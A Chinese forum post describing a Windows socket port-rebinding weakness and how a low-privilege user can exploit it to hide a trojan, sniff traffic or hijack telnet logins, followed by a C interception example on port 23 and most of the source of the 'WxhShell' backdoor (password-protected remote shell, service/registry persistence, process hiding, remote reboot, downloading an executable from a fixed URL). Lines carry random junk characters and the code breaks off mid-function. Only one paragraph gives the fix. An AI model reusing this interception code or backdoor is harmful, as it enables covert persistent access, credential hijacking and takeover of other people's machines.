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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -Aa]aDAz68  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l801` ~*gO  
X%GD0h]X#  
  saddr.sin_family = AF_INET; iUIy,Y  
a#+>w5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F<Hqo>G  
/Fv/oY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jow7t\wk  
K4!P'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v<;: 0  
kDzj%sm!  
  这意味着什么?意味着可以进行如下的攻击: {J~(#i k   
z wL3,!t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P_p6GT:5  
>1x7UXs~:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~->Hlxze'K  
{r={#mO;p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iOT)0@f'  
$ph0ag+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  CQdBf3q  
GS\%mPZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j2|XD Of  
"~u_\STn <  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]7a;jNQu  
c[SU5 66y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3p=vz'  
'#v71,  
  #include Bvz62?  
  #include C"w,('~@kW  
  #include a{h%DpG  
  #include    x6LjcRS|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cDCJ]iDs  
  int main() R0%?:! F  
  { $#5klA  
  WORD wVersionRequested; D7)(D4S4  
  DWORD ret; '/k^C9~m r  
  WSADATA wsaData; $^t<9" t  
  BOOL val; 0pD W _  
  SOCKADDR_IN saddr; Dy su{rL  
  SOCKADDR_IN scaddr; xw?CMA  
  int err; wG+=}1X  
  SOCKET s; 3[VWTq)D=  
  SOCKET sc; d7* CwY9"  
  int caddsize;  }mKwFVZ  
  HANDLE mt; LZ{YmD&6]  
  DWORD tid;   Y;} 2'"  
  wVersionRequested = MAKEWORD( 2, 2 ); Q:mZ" i5  
  err = WSAStartup( wVersionRequested, &wsaData ); Y)|~:& tZ  
  if ( err != 0 ) { Ls]@icH0  
  printf("error!WSAStartup failed!\n"); R*087X7 N|  
  return -1; lzEb5mg  
  } V] rhVMA  
  saddr.sin_family = AF_INET; *8PN!^  
   _?.\Xc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1]j^d  
m4@MxQm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !i^]UN   
  saddr.sin_port = htons(23); tRteyNA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ibXe"X/_  
  { bp#fyG"  
  printf("error!socket failed!\n"); ~b Rd)1  
  return -1; &UL_bG }  
  } fD{II+T  
  val = TRUE; vI Vr@1S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A[`G^ $  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MAnp{  
  { P/MM UmO  
  printf("error!setsockopt failed!\n"); sK&,):"]R  
  return -1; >Q=Ukn;k  
  } \5~;MI.Sq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i ?;R}%~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rgqQxe=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T1W:>~T5#  
78 d_io}w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \0ov[T N.>  
  { Fnb2.R'+  
  ret=GetLastError(); 'tm$q /&  
  printf("error!bind failed!\n"); @A{m5h  
  return -1; b}@(m$W  
  } *tc{vtuu~^  
  listen(s,2); %v{1# ~u  
  while(1) Ly7!R$X  
  { H-I{-Fm  
  caddsize = sizeof(scaddr); ~zF2`.  
  //接受连接请求 ',{7% G9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oq$w4D0Z  
  if(sc!=INVALID_SOCKET) (e9fm|n!)|  
  { +?[BU<X6u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _6MdF<Xb/  
  if(mt==NULL) B[F-gq-  
  { KzphNHd  
  printf("Thread Creat Failed!\n"); ``u:lL  
  break; Gr: 3{o`  
  } !8R@@,_v  
  } W%o|0j\1GU  
  CloseHandle(mt); $*\L4<(  
  } so+4B1$)q  
  closesocket(s); >$H|:{D  
  WSACleanup(); `#Kx|x6  
  return 0; \?Mf_  
  }   zN~6HZ_:^  
  DWORD WINAPI ClientThread(LPVOID lpParam) vfwA$7N  
  { r &%.z*q  
  SOCKET ss = (SOCKET)lpParam; MT6/2d  
  SOCKET sc; R-rCh.  
  unsigned char buf[4096]; {Dr@HP/x=s  
  SOCKADDR_IN saddr; C5@V/vA  
  long num; (K :]7  
  DWORD val; = 96P7#%  
  DWORD ret; !MVj=(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p!zJ;rh)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hoQ7).>  
  saddr.sin_family = AF_INET; BFVAw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?2#(jZ# 2  
  saddr.sin_port = htons(23); 909md|9K3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zl%>`k!>  
  { 6X)@ajGWg~  
  printf("error!socket failed!\n"); yz\c5  
  return -1; !kL> ,O>/  
  } < g|Z}Y  
  val = 100; 2p!"p`b~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W^\d^)  
  { `t (D!  
  ret = GetLastError(); +f NvNbtA  
  return -1; }BJX/, H,  
  } X!tf#tl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wRtZ `o  
  { /i_ @  
  ret = GetLastError(); rwE%G>Vb  
  return -1; =IjQ40W  
  } z@Hp,|Vy[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [/ M`  
  { DmqSQA  
  printf("error!socket connect failed!\n"); . +  
  closesocket(sc); PftxqJz  
  closesocket(ss); (Yb[)m>fQ}  
  return -1; LF*&(NC  
  } 0;.<~;@h  
  while(1) JkQ\)^5v  
  { ;V5yXNQ   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '5KeL3J;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 atF?OP|{,w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v~|?3/{Q  
  num = recv(ss,buf,4096,0); (%_n!ip^  
  if(num>0) f)Xr!7  
  send(sc,buf,num,0); <F=9*.@D   
  else if(num==0) 1HT_  
  break; E?)656F[  
  num = recv(sc,buf,4096,0); mQ~:Y  
  if(num>0) W# US#<9Y  
  send(ss,buf,num,0); Te,$M3|  
  else if(num==0) 9 QC.TG@  
  break; -&2B@]]  
  } sOU_j:A80;  
  closesocket(ss); [I;^^#'P  
  closesocket(sc); 5W? v'"  
  return 0 ; ,*I@  
  } kAA>FI6  
H%F>@(U  
:G5uocVk  
========================================================== \e3`/D  
^:=f^N=^  
下边附上一个代码,,WXhSHELL @>Mxwpl?  
2aN<w'pA  
========================================================== U/l?>lOD\  
BX+.0M  
#include "stdafx.h" _-TA{21)  
@A<PkpNL  
#include <stdio.h> tw=oH9c80  
#include <string.h> l fZ04M{2  
#include <windows.h> gB'fFkd  
#include <winsock2.h> M]]pTU((  
#include <winsvc.h> #/2$+x  
#include <urlmon.h> t2HJsMX  
XFVV},V  
#pragma comment (lib, "Ws2_32.lib") lj=l4 &.i  
#pragma comment (lib, "urlmon.lib") >slm$~rv  
5Por "&%  
#define MAX_USER   100 // 最大客户端连接数 ]b/S6oc6  
#define BUF_SOCK   200 // sock buffer m!tx(XsXU  
#define KEY_BUFF   255 // 输入 buffer Z3TS,a1I4  
!p/%lU65  
#define REBOOT     0   // 重启 8;14Q7,S  
#define SHUTDOWN   1   // 关机 Vr[czfROz'  
_nh[(F<hz  
#define DEF_PORT   5000 // 监听端口 yp.[HMRD  
v"& pQ  
#define REG_LEN     16   // 注册表键长度 a|7a_s4(  
#define SVC_LEN     80   // NT服务名长度 1BHG'y  
b75 $?_+  
// 从dll定义API :#~U<C@o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KJ2Pb"s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WI> P-D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `o]g~AKX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #|GSQJ$F)`  
e=vsuqGT  
// wxhshell配置信息 eB> s=}|  
struct WSCFG { ew _-Eb  
  int ws_port;         // 监听端口 ?<Wb@6kh`  
  char ws_passstr[REG_LEN]; // 口令 w;UqEC V  
  int ws_autoins;       // 安装标记, 1=yes 0=no /H7&AiA  
  char ws_regname[REG_LEN]; // 注册表键名 uj>WgU  
  char ws_svcname[REG_LEN]; // 服务名 g-c ;}qz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0+Ta%H{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mm[2wfTE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tVrY3)c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YOr:sb   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WY^W.1X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (;Y8pKl1e  
/S5| wNu  
}; <@wj7\pQ  
9,j-V p!G  
// default Wxhshell configuration 8to8!(  
struct WSCFG wscfg={DEF_PORT, X\$ 0  
    "xuhuanlingzhe", :cu #V  
    1, $$b 9&mTl#  
    "Wxhshell", m5mu:  
    "Wxhshell", 6DG@?O  
            "WxhShell Service", p'7*6bj1  
    "Wrsky Windows CmdShell Service", e:H26SW  
    "Please Input Your Password: ", tCxF~L@  
  1, Z6\+  
  "http://www.wrsky.com/wxhshell.exe", Twn4lG4~  
  "Wxhshell.exe" 8UC xn f#  
    }; )-*5v D  
jls-@Wl  
// 消息定义模块 (Yo>Oh4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RrU BpqA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .#02 ngh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ['8!qr  
char *msg_ws_ext="\n\rExit."; _@S`5;4x  
char *msg_ws_end="\n\rQuit.";  |@NiW\O  
char *msg_ws_boot="\n\rReboot..."; T91moRv  
char *msg_ws_poff="\n\rShutdown..."; niB `2 J  
char *msg_ws_down="\n\rSave to "; ARcB'z\r  
lL1k.& |5m  
char *msg_ws_err="\n\rErr!"; ;XM{o:1Y[  
char *msg_ws_ok="\n\rOK!"; F}Vr:~  
2'=T[<nNB  
char ExeFile[MAX_PATH]; ifN64`AhRX  
int nUser = 0; uqz]J$  
HANDLE handles[MAX_USER]; }D+}DPL{^  
int OsIsNt; X7k.zlH7T  
iq( )8nxi  
SERVICE_STATUS       serviceStatus; `al<(FwGE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >pUtwIP  
jZ NOt  
// 函数声明 bfo["  
int Install(void); PkI:*\R  
int Uninstall(void); 87hq{tTs]  
int DownloadFile(char *sURL, SOCKET wsh); &0f5:M{P  
int Boot(int flag); vfVj=DYj  
void HideProc(void); 8@so"d2e  
int GetOsVer(void); y;/VB,4V  
int Wxhshell(SOCKET wsl); Zd"^</ S  
void TalkWithClient(void *cs);  : ]C~gc  
int CmdShell(SOCKET sock); N('&jHF  
int StartFromService(void); n:MdYA5,m  
int StartWxhshell(LPSTR lpCmdLine); 2eMTxwt*S  
J!5$,%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J:V?EE,\-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sa2>`":d  
6{ =\7AY  
// 数据结构和表定义 /SYw;<=  
SERVICE_TABLE_ENTRY DispatchTable[] = )GHq/:1W  
{ <&C]s b  
{wscfg.ws_svcname, NTServiceMain}, iY21Ql%  
{NULL, NULL} J2:y6kGj>  
}; &b:1I 7Cp*  
\rv<$d@L  
// 自我安装 t!RiUZAo  
int Install(void) 5\z `-)  
{ >2~=)L  
  char svExeFile[MAX_PATH]; wI(M^8F_Mf  
  HKEY key; Xh56T^,2  
  strcpy(svExeFile,ExeFile); *}P~P$q%  
Gz .|]:1  
// 如果是win9x系统,修改注册表设为自启动 ;*MLRXq  
if(!OsIsNt) { UX7t`l2R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XI^QF;,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !qG7V:6  
  RegCloseKey(key); Kr)a2rZ}SL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1I:+MBGin  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bz,?{o6s)Q  
  RegCloseKey(key); :OuA)f  
  return 0; KCs[/]  
    } ]\|VpIg  
  } -B +4+&{T  
} 0Vx.nUQ  
else { nr<4M0tIp  
]q4rlT.i  
// 如果是NT以上系统,安装为系统服务 Dh=9Gns9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @;"|@!l|  
if (schSCManager!=0) 8i2n;LAz  
{ 9H]{g*kL  
  SC_HANDLE schService = CreateService 7 qS""f7  
  ( _bNzXF  
  schSCManager, 7Op>i,HZk\  
  wscfg.ws_svcname, >7 ="8  
  wscfg.ws_svcdisp, CB^U6ZS  
  SERVICE_ALL_ACCESS, v/_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hm*/C4B`  
  SERVICE_AUTO_START, \kZ?  
  SERVICE_ERROR_NORMAL, |:gf lseE  
  svExeFile, ff^=Ruf$  
  NULL, W)bLSL]`E  
  NULL, ueUuJxq)  
  NULL, 7j-4TY~  
  NULL, {tWf  
  NULL ^~etm  
  ); ')cMiX\v  
  if (schService!=0) 9iQq.$A.  
  { F%RRd/'  
  CloseServiceHandle(schService); |!4K!_y  
  CloseServiceHandle(schSCManager); 1eF3`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .6Pw|xu`Pw  
  strcat(svExeFile,wscfg.ws_svcname); d$1@4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,5h)x"s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I`!<9OTBj  
  RegCloseKey(key); DW[N|-L  
  return 0; Vh4X%b$TV  
    } BI%$c~wS  
  } H:V2[y8\  
  CloseServiceHandle(schSCManager); GB=X5<;  
} /V'A%2Cl=T  
} @J/K-.r  
XwJ7|cB  
return 1; "]} bFO7C  
} oG_~q w|h  
WvY? +JXJ  
// 自我卸载 %WjXg:R  
int Uninstall(void) fbe[@#:  
{ MDnua  
  HKEY key;  R[D{|K@"  
do>wwgr  
if(!OsIsNt) { GBPo8L"9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FOE4>zE  
  RegDeleteValue(key,wscfg.ws_regname); ;@oN s-  
  RegCloseKey(key); YIG~MP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xqu}cz  
  RegDeleteValue(key,wscfg.ws_regname); K  &N  
  RegCloseKey(key); (5-FVp fb  
  return 0; cQ R]le %(  
  } ]>5/PD,wWy  
} 5Odhb  
} vg32y /l]S  
else { rC^WPW  
u7>],<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zBzZxK>$  
if (schSCManager!=0) Q' {M L4  
{ n-tgX?1'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k%WTJbuG<)  
  if (schService!=0) +V{kb<P  
  { *nkoPVpC  
  if(DeleteService(schService)!=0) { $Nhs1st*8  
  CloseServiceHandle(schService); inMA:x}cF1  
  CloseServiceHandle(schSCManager); +~ P2C6@G  
  return 0; -(;26\lE  
  } KW pVw!  
  CloseServiceHandle(schService); <h0?tv]  
  } rlOAo`hd  
  CloseServiceHandle(schSCManager); t-tg-<  
} G3Hx! YW  
} Ng2twfSl$  
\@c,3  
return 1; 52Z2]T c ,  
} Yg||{  
Ga^"1TZ x  
// 从指定url下载文件  iu=7O  
int DownloadFile(char *sURL, SOCKET wsh) 8e1UmM[  
{ Yi%;|]  
  HRESULT hr; KPKt^C  
char seps[]= "/"; kTOzSiq  
char *token; (R=:X+ k  
char *file; f<d`B]$(  
char myURL[MAX_PATH]; s<<ooycBrQ  
char myFILE[MAX_PATH]; - M4J JV(  
dO! kk"qn  
strcpy(myURL,sURL); T $>&[f$6  
  token=strtok(myURL,seps); ?]_$Dcmx  
  while(token!=NULL) bN1|q| 9  
  { f@wquG'  
    file=token; KQ!8ks]  
  token=strtok(NULL,seps); )Q&(f/LT  
  } rr],DGg+B]  
/~%&vpF-L  
GetCurrentDirectory(MAX_PATH,myFILE); 6H.0vN&  
strcat(myFILE, "\\"); wDal5GJp  
strcat(myFILE, file); }HYbS8'  
  send(wsh,myFILE,strlen(myFILE),0); 2lH&  
send(wsh,"...",3,0); HdUQCugxx:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |"8b_Cq{  
  if(hr==S_OK) X9W@&zQ  
return 0; ]8_NZHld  
else 5H<m$K4z  
return 1; [ )Iv^ U9  
Hw}Xbp[y  
} ?jv/TBZX4  
8mvy\l EEH  
// 系统电源模块 K7_UP&`=J  
int Boot(int flag) c<B/V0]  
{  MzdV2.  
  HANDLE hToken; _^Ubs>d=*  
  TOKEN_PRIVILEGES tkp; 99e.n0  
/$Nsd  
  if(OsIsNt) { 3w*R&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2j [=\K]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C!<Ou6}!b  
    tkp.PrivilegeCount = 1; XPXIg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )4e.k$X^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _YhES-Ff  
if(flag==REBOOT) { l`lk-nb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4 #MtF'J  
  return 0; )0]'QLH  
} M6 "PX *K  
else { S%;O+eFYb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i &nSh ]KK  
  return 0; iy.p n  
} @alK;\  
  } zZPO&akB"  
  else { nV|EQs4(  
if(flag==REBOOT) { mp1@|*Sn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uiw2oi&_  
  return 0; HAdg/3Hw  
} ?=sDM& '  
else { :%=Xm   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O3,jg |,  
  return 0; w3ResQ   
} jp%S3)  
} `KoV_2|  
"<N*"euH  
return 1; 8b& /k8i:  
} VPJElRSH  
w,.TTTad  
// win9x进程隐藏模块 e8a+2.!&\  
void HideProc(void) V+Y%v.F  
{ sUO`uqZV  
I^-Sb=j?Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NIry)'"  
  if ( hKernel != NULL ) 0 1rK8jX  
  { Q->sV$^=T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i>`%TW:g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L ca}J&x]^  
    FreeLibrary(hKernel); /hR&8 `\\  
  } -=Q*Ml#I  
~!d\^Z^i  
return; 9s q  
} V~3a!-m\  
s2V:cMXFn  
// 获取操作系统版本 `4J$Et%S  
int GetOsVer(void) K\Wkoi5  
{ iOghb*aW  
  OSVERSIONINFO winfo; p?OoC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dw.J2>uj  
  GetVersionEx(&winfo); m+[Ux{$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jvL[ JI,b  
  return 1; ~TD0z AA&  
  else ""G'rN_=Bi  
  return 0; 0v?"t OT!  
} %J?xRv!  
Q(?#'<.#  
// 客户端句柄模块 kVMg 1I@  
int Wxhshell(SOCKET wsl) oLeq!K}re  
{ -G rE} L  
  SOCKET wsh; *L^,|   
  struct sockaddr_in client; 77f9(~ZnT  
  DWORD myID; N =}A Z{$  
5|s\* bV`  
  while(nUser<MAX_USER) kbQ>a5`,x  
{ E{`fF8]K  
  int nSize=sizeof(client); 45c$nuZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *] ) `z8Ox  
  if(wsh==INVALID_SOCKET) return 1; ]h+j)J}[A  
]w8(&,PP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KkbDW3-  
if(handles[nUser]==0) b]#AI qt  
  closesocket(wsh); hL{KRRf>  
else Ow,w$0(D  
  nUser++; [RhO$c$[\  
  } |/{=ww8|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SY\ gXO8k  
",; H`V  
  return 0; ##>H&,Dp[  
} qo bc<-  
Ve; n}mJ?  
// 关闭 socket kdeWip6Y  
void CloseIt(SOCKET wsh) (hbyEQhF  
{ O_7|C\]  
closesocket(wsh); VY4yS*y  
nUser--; _]H&,</  
ExitThread(0); yvB.&<]No  
} Z@!+v 19^  
mz0X3  
// 客户端请求句柄 hRhe& ,v  
void TalkWithClient(void *cs) YNF k  
{ {JMVV_}n  
5U$0F$BBp  
  SOCKET wsh=(SOCKET)cs; '\iCP1>+S  
  char pwd[SVC_LEN]; )3EY;  
  char cmd[KEY_BUFF]; 0aB;p7~&  
char chr[1]; mCVFS=8V  
int i,j; /y}xX  
vA8nvoi  
  while (nUser < MAX_USER) { !%c\N8<>GD  
)Ql%r?(F+  
if(wscfg.ws_passstr) { oUU1+F-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }K|oicpUg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /82b S|  
  //ZeroMemory(pwd,KEY_BUFF); s.C_Zf~3  
      i=0; aqk!T%fg  
  while(i<SVC_LEN) { SE  %pw9  
kt:! 7  
  // 设置超时 YIYmiv5  
  fd_set FdRead; EaN6^S=  
  struct timeval TimeOut; ZUd-<y  
  FD_ZERO(&FdRead); r;N|)  
  FD_SET(wsh,&FdRead); (f"4,b^]  
  TimeOut.tv_sec=8; yY q,*<G  
  TimeOut.tv_usec=0; [{,1=AB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SO!8Di  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2BwO!Y[  
pW3^X=6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y}|s&4Sq  
  pwd=chr[0]; S<Xf>-8w  
  if(chr[0]==0xd || chr[0]==0xa) { }5"u[Z.  
  pwd=0; Lp9E:D->  
  break; UJ   
  } k{-Cwo  
  i++; vEJbA  
    } Qvhl4-XjZa  
H/M@t\$Dc  
  // 如果是非法用户,关闭 socket 3.y vvPFEM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }qD\0+`qi  
} 5=ryDrx  
Q^")jPd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y}wyw8g/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oUlVI*~ND  
5r ^(P  
while(1) { Cw&KVw*  
G"A#Q"  
  ZeroMemory(cmd,KEY_BUFF); F:S}w   
S?2>Er  
      // 自动支持客户端 telnet标准   =T7.~W  
  j=0; Y.p;1"  
  while(j<KEY_BUFF) { nqUV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >XfbP]  
  cmd[j]=chr[0]; X"%gQ.1|{j  
  if(chr[0]==0xa || chr[0]==0xd) { yJIscwF  
  cmd[j]=0; 1$h,m63)  
  break; vnuN6M{  
  } Iu=(qU  
  j++; h/Y'<:  
    } Lr pM\}t  
scV5PUq  
  // 下载文件 1?l1:}^L  
  if(strstr(cmd,"http://")) { U]rRQ d/:;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); do'GlU oMC  
  if(DownloadFile(cmd,wsh)) )vlhN2iv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|`S3}q|d  
  else ;!Fn1|)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,eS)e+yzc2  
  } k+*u/neh  
  else { "" EQE>d  
4CTi]E=H{  
    switch(cmd[0]) { 1< ?4\?j  
  ,PD QzJY  
  // 帮助 MF'JeM;H  
  case '?': { 8 L Cb+^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kyV8K#}%8  
    break; "#g}ve,  
  } E!F^H^~$8  
  // 安装 &UFZS94@r  
  case 'i': { ~wdGd+ez  
    if(Install()) Kc\fu3Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {_*yGK48n  
    else CTmT@A{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Y.?_lC  
    break; :Zlwy-[  
    } 0=$T\(0g  
  // 卸载 'Pbr v  
  case 'r': { rPm x  
    if(Uninstall()) yB!dp;gM{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4O~q0>:Le  
    else +kD R.E:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `WS&rmq&'  
    break; v"0J&7!J  
    } DHRlWQox  
  // 显示 wxhshell 所在路径 -Lg Ei3m  
  case 'p': { f6p/5]=J26  
    char svExeFile[MAX_PATH]; dc'Y `e  
    strcpy(svExeFile,"\n\r"); @ N m@]q  
      strcat(svExeFile,ExeFile); ~}Pfu  
        send(wsh,svExeFile,strlen(svExeFile),0); B#R|*g:x  
    break; EdX$(scu~B  
    } NHE18_v5  
  // 重启 ~V6D<  
  case 'b': { NxILRKwO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `d(ThP;g  
    if(Boot(REBOOT)) ^ZCD ~P_=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \b>] 8Un"  
    else { ~VB1OLgv#.  
    closesocket(wsh); Dt1jW  
    ExitThread(0); 4I[P>  
    } 2~2 O V  
    break; 2`-Bs  
    } ,]D,P  
  // 关机 w!XD/j N  
  case 'd': { QZ8IV>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -Qe'YBy:  
